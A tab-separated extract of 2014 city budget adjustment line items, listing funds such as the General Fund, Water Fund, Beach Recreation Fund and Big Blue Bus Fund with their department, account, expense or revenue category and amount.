7774	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	1438.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1438.0
7775	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	544010.0	SPECIAL DEPARTMENT SUPPLIES	804.0	 Supplies and Expenses	2014	38363.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	38363.0
7776	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511000.0	PERMANENT EMPLOYEES	804.0	Salaries and Wages	2014	195754.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	195754.0
7777	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS		LIFE INSURANCE & AD & D	804.0	Salaries and Wages	2014	631.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	631.0
7778	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	533030.0	PROPERTY INSURANCE	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7779	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571130.0	S+C HAP SUO5	816.0	 Supplies and Expenses	2014	309861.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	309861.0
7780	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	571150.0	S+C HAP NEW	816.0	 Supplies and Expenses	2014	290481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	290481.0
7781	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	214	R & ES(CITY CLERK)-SUPP SCVS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-9172.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9172.0
7782	BA	IS	1	General Fund	130	FINANCE	221	ADMINISTRATION	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-42561.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-42561.0
7783	BA	IS	1	General Fund	130	FINANCE	224	BUSINESS & REVENUE OPERATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-46616.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-46616.0
7784	BA	IS	1	General Fund	150	HUMAN RESOURCES	250	ADMINISTRATIVE SERVICES	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-10503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-10503.0
7785	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-18407.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-18407.0
7786	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	416	TRANS ENGINEERING & MGMT	511900.0	VACANCY SAVINGS	816.0	Salaries and Wages	2014	-38925.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-38925.0
7787	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	511900.0	VACANCY SAVINGS	812.0	Salaries and Wages	2014	-37326.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-37326.0
7788	BA	IS	1	General Fund	110	CITY MANAGER	207	COMMUNITY & GOVT RELATIONS	511900.0	VACANCY SAVINGS	804.0	Salaries and Wages	2014	-7129.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-7129.0
7789	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511713.0	MEDICARE-MISC EMPLOYEES	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7790	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7791	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522210.0	UTILITIES - TELEPHONE	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7792	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	522900.0	MEMBERSHIPS AND DUES	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7793	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555210.0	TRAINING	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7794	BA	IS	1	General Fund	160	INFORMATION SYSTEMS	243	ADMINISTRATION (INFO SYS)	407611.0	CITY WI-FI ADVERTISING	612.0	Charges for Service	2014	-5000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-5000.0
7795	BA	IS	1	General Fund	110	CITY MANAGER	227	OFFICE OF EMERGENCY MANAGEMENT	555218.0	COMMUNITY EMERGENCY RESP TEAM	804.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7796	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EAP	808.0	Salaries and Wages	2014	313.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	313.0
7797	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EAP	808.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
7798	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		LIFE INSURANCE & AD & D	808.0	Salaries and Wages	2014	1269.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1269.0
7799	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511749.0	VISION	808.0	Salaries and Wages	2014	6417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	6417.0
7800	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	16279.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16279.0
7801	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511748.0	DENTAL	808.0	Salaries and Wages	2014	41982.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	41982.0
7802	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409072.0	ROSIE'S GIRLS-SUMMER I	612.0	Charges for Service	2014	-29038.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29038.0
7803	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7804	BA	IS	33	Airport Fund	500	PUBLIC WORKS	431	AIRPORT	402240.0	AIRPORT - EVENTS	650.0	Charges for Service	2014	-60000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-60000.0
7805	BA	IS	6	Clean Bchs & Ocean Prcl Tx Fd	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	570070.0	TRANSFER-STORMWATER	910.0	 Supplies and Expenses	2014	915434.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	915434.0
7806	BA	IS	1	General Fund	130	FINANCE	222	FINANCIAL OPERATIONS	522620.0	RENT	804.0	 Supplies and Expenses	2014	166628.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	166628.0
7807	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE	555010.0	CONTRACTUAL SERVICES		 Supplies and Expenses	2014	49113.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	49113.0
7808	BA	IS	1	General Fund	500	PUBLIC WORKS	402	ENGINEERING	404560.0	UTILITY POLE LEASE FEE	608.0	Licenses and Permits	2014	-3825.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-3825.0
7809	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522310.0	OFFICE SUPPLIES / EXPENSES	810.0	 Supplies and Expenses	2014	450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	450.0
7810	BA	IS	25	Water Fund	500	PUBLIC WORKS	673	ARCADIA TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	792433.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	792433.0
7811	BA	IS	41	Big Blue Bus Fund	600	BIG BLUE BUS	657	TRANSIT MAINTENANCE	511743.0	MEDICAL - MISC EMPL	840.0	Salaries and Wages	2014	80730.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	80730.0
7812	BA	IS	1	General Fund	410	LIBRARY	613	ADMIN. AND FACILITIES	404150.0	LIBRARY COMPUTER SESSIONS FEE	612.0	Charges for Service	2014	-25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-25000.0
7813	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	404970.0	OFFSITE IMPROVEMENTS REIMBURSE	612.0	Charges for Service	2014	-50000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-50000.0
7814	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	404750.0	415 PCH - RENTALS	618.0	Rentals	2014	-51325.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-51325.0
7815	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	13828.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	13828.0
7816	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	11133.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	11133.0
7817	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		UNEMPLOYMENT	804.0	Salaries and Wages	2014	2883.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2883.0
7818	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	511840.0	PERS PAYDOWN SAVINGS	804.0	Salaries and Wages	2014	-1862.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1862.0
7819	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	547.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	547.0
7820	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	2161.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2161.0
7821	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	142654.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	142654.0
7822	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	12167.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	12167.0
7823	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	84506.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	84506.0
7824	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS	511749.0	VISION	808.0	Salaries and Wages	2014	417.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	417.0
7825	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-1913.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-1913.0
7826	BA	IS	1	General Fund	500	PUBLIC WORKS	421	STREET & FLEET SVCS		UNEMPLOYMENT	808.0	Salaries and Wages	2014	1838.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1838.0
7827	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511490.0	OVERTIME	808.0	Salaries and Wages	2014	25250.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25250.0
7828	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	517208.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	517208.0
7829	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511920.0	UNIFORM / TOOL ALLOWANCE	808.0	Salaries and Wages	2014	24900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	24900.0
7830	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		DCAP	808.0	Salaries and Wages	2014	3504.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3504.0
7831	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511746.0	MED TRUST - MISC. EMPL	808.0	Salaries and Wages	2014	72733.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	72733.0
7832	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION	808.0	Salaries and Wages	2014	-29430.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29430.0
7833	BA	IS	1	General Fund	500	PUBLIC WORKS	452	FACILITIES MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	29902.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29902.0
7834	BA	IS	19	CDBG Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	577762.0	CDBG REIMB-PUBLIC WORKS		 Supplies and Expenses	2014	65000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	65000.0
7835	BA	IS	1	General Fund	130	FINANCE	225	PARKING OPERATIONS	404870.0	1665 OCEAN AVE PKG LOT	608.0	Licenses and Permits	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7836	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511920.0	UNIFORM / TOOL ALLOWANCE	816.0	Salaries and Wages	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
7837	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	522110.0	UTIL - LIGHT / POWER	808.0	 Supplies and Expenses	2014	566024.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	566024.0
7838	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544014.0	FILTER MEDIA REPLACEMENT	808.0	 Supplies and Expenses	2014	1211280.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1211280.0
7839	BA	IS	25	Water Fund	500	PUBLIC WORKS	672	CHARNOCK TREATMENT PLANT	544016.0	ANALYTICAL INSTR CONSUMABLES	808.0	 Supplies and Expenses	2014	2000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2000.0
7840	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	511713.0	MEDICARE-MISC EMPLOYEES	810.0	Salaries and Wages	2014	8867.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8867.0
7841	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS		DCAP	804.0	Salaries and Wages	2014	552.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	552.0
7842	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522130.0	UTILITIES - WATER	810.0	 Supplies and Expenses	2014	47152.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	47152.0
7843	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	522900.0	MEMBERSHIPS AND DUES	810.0	 Supplies and Expenses	2014	2200.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2200.0
7844	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	533030.0	PROPERTY INSURANCE	810.0	 Supplies and Expenses	2014	124900.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	124900.0
7845	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7846	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	523	BEACH HOUSE OPERATIONS	545030.0	CULTURAL SUPPLIES	810.0	 Supplies and Expenses	2014	25000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25000.0
7847	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511743.0	MEDICAL - MISC. EMPL	808.0	Salaries and Wages	2014	98135.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	98135.0
7848	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511773.0	RETIREMENT - MISC. EMPL	808.0	Salaries and Wages	2014	74757.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	74757.0
7849	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	511774.0	RETIREMENT - AS NEEDED	808.0	Salaries and Wages	2014	4823.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	4823.0
7850	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	533020.0	GENERAL LIABILITY / AUTO	810.0	 Supplies and Expenses	2014	3802.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	3802.0
7851	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	555010.0	CONTRACTUAL SERVICES	810.0	 Supplies and Expenses	2014	90000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	90000.0
7852	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	264	HOUSING	533710.0	SOFTWARE	804.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
7853	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	544120.0	PERIODICALS	804.0	 Supplies and Expenses	2014	1500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1500.0
7854	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	501	ADMINISTRATION & PLANNING SVCS	522620.0	RENT	804.0	 Supplies and Expenses	2014	238811.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	238811.0
7855	BA	IS	1	General Fund	110	CITY MANAGER	202	CITY MANAGER - ADMINISTRATION	569360.0	INNOVATIONS	804.0	 Supplies and Expenses	2014	16400.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	16400.0
7856	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511774.0	RETIREMENT - AS NEEDED	804.0	Salaries and Wages	2014	1040.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1040.0
7857	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511743.0	MEDICAL - MISC. EMPL	804.0	Salaries and Wages	2014	31222.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	31222.0
7858	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	563123.0	PARATRANSIT PROGRAM-PROP A LR	808.0	 Supplies and Expenses	2014	192711.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	192711.0
7859	BA	IS	12	Housing Authority Fund	700	NON-DEPARTMENTAL	695	INTERFUND TRANSACTIONS	579330.0	TRANSFER IN FROM GENERAL FUND		 Supplies and Expenses	2014	-446791.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-446791.0
7860	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561115.0	OPCC SAFE HAVEN-PROP A	808.0	 Supplies and Expenses	2014	1000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1000.0
7861	BA	IS	20	Miscellaneous Grants Fund	600	BIG BLUE BUS	642	TRANSIT FINANCE AND GRANTS	561119.0	OPCC SOJOURN - PROP A	808.0	 Supplies and Expenses	2014	600.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	600.0
7862	BA	IS	33	Airport Fund	500	PUBLIC WORKS	457	AIRPORT MAINTENANCE		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-2578.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2578.0
7863	BA	IS	43	Gas Tax Fund	500	PUBLIC WORKS	402	ENGINEERING	400860.0	ST GAS TAX APPORTIONMENT	610.0	Intergovernmental	2014	-2395940.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2395940.0
7864	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409002.0	CHILDCARE-OCTOBER	612.0	Charges for Service	2014	-35467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35467.0
7865	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409003.0	CHILDCARE-NOVEMBER	612.0	Charges for Service	2014	-35467.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-35467.0
7866	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409032.0	CAMP SM-SPRING	612.0	Charges for Service	2014	-8733.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-8733.0
7867	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	262	HUMAN SERVICES	409051.0	MIDDLE SPORTS-FALL	612.0	Charges for Service	2014	-29056.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-29056.0
7868	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	402780.0	CASKET SALES	650.0	Charges for Service	2014	-100891.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-100891.0
7869	BA	IS	37	Cemetery Fund	500	PUBLIC WORKS	641	CEMETERY	556190.0	MISC SERVICES/SALES	808.0	 Supplies and Expenses	2014	34300.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	34300.0
7870	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	522540.0	ADVERTISING	810.0	 Supplies and Expenses	2014	15000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	15000.0
7871	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511500.0	TEMPORARY EMPLOYEES		Salaries and Wages	2014	25370.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	25370.0
7872	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT		EMPLOYEE HEALTH CONTRIBUTION		Salaries and Wages	2014	-2291.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-2291.0
7873	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	511774.0	RETIREMENT - AS NEEDED		Salaries and Wages	2014	1506.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	1506.0
7874	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	522110.0	UTIL - LIGHT / POWER		 Supplies and Expenses	2014	447.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	447.0
7875	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	555060.0	PROFESSIONAL SERVICES		 Supplies and Expenses	2014	2500.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	2500.0
7876	BA	IS	1	General Fund	620	HOUSING & ECONOMIC DEVELOPMENT	268	ECONOMIC DEVELOPMENT	577650.0	MAINTENANCE / GUARDS		 Supplies and Expenses	2014	62000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	62000.0
7877	BA	IS	11	Beach Recreation Fund	400	COMMUNITY & CULTURAL SERVICES	558	BEACH MAINTENANCE	540590.0	EMPLOYEE RECOGNITION & APPRECI	808.0	 Supplies and Expenses	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7878	BA	IS	58	Risk Management - Admin	130	FINANCE	229	RISK MANAGEMENT-ADMIN	511730.0	WORKERS' COMP INSURANCE	804.0	Salaries and Wages	2014	8376.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8376.0
7879	BA	IS	1	General Fund	700	NON-DEPARTMENTAL	274	ALL OTHER TRANSACTIONS	533040.0	SPECIAL INSURANCE	804.0	 Supplies and Expenses	2014	18503.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	18503.0
7880	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400881.0	SPC HAP SU02	610.0	Intergovernmental	2014	-64240.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-64240.0
7881	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400884.0	SPC HAP EXPANSION	610.0	Intergovernmental	2014	-214044.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-214044.0
7882	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION		DCAP	804.0	Salaries and Wages	2014	216.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	216.0
7883	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	400885.0	SPC HAP NEW	610.0	Intergovernmental	2014	-290481.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-290481.0
7884	BA	IS	12	Housing Authority Fund	620	HOUSING & ECONOMIC DEVELOPMENT	269	HOUSING SERVICES	511000.0	PERMANENT EMPLOYEES	816.0	Salaries and Wages	2014	29068.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	29068.0
7885	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	544010.0	SPECIAL DEPARTMENT SUPPLIES	810.0	 Supplies and Expenses	2014	8450.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	8450.0
7886	BA	IS	11	Beach Recreation Fund	500	PUBLIC WORKS	497	BEACH HOUSE MAINTENANCE	545010.0	AQUATIC SUPPLIES	810.0	 Supplies and Expenses	2014	75000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	75000.0
7887	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	511746.0	MED TRUST - MISC. EMPL	804.0	Salaries and Wages	2014	5214.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	5214.0
7888	BA	IS	1	General Fund	120	RECORDS & ELECTION SERVICES	211	R & ES(CITY CLERK)-ADMIN	409160.0	AGENDA PACKET SUBSCRIPTION	612.0	Charges for Service	2014	0.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	0.0
7889	BA	IS	1	General Fund	210	PLANNING & COMM. DEVELOPMENT	267	STRATEGIC & TRANSP. PLANNING	404771.0	BIKE TRANSIT CTR CONCESSION AG	622.0	Other	2014	-55000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-55000.0
7890	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409170.0	ACTIVITY PASSPORT	612.0	Charges for Service	2014	-9375.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-9375.0
7891	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	544	COMMUNITY RECREATION	409180.0	COMMERCIAL INSTRUCTION USE CHA	612.0	Charges for Service	2014	-63000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	-63000.0
7892	BA	IS	1	General Fund	130	FINANCE	208	BUDGET DIVISION	511749.0	VISION	804.0	Salaries and Wages	2014	668.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	668.0
7893	BA	IS	1	General Fund	400	COMMUNITY & CULTURAL SERVICES	560	CULTURAL AFFAIRS	511743.0	MEDICAL - MISC. EMPL	810.0	Salaries and Wages	2014	10000.0	0	0	0	0.0	0	0.0	0	0	0	0	0.0	10000.0
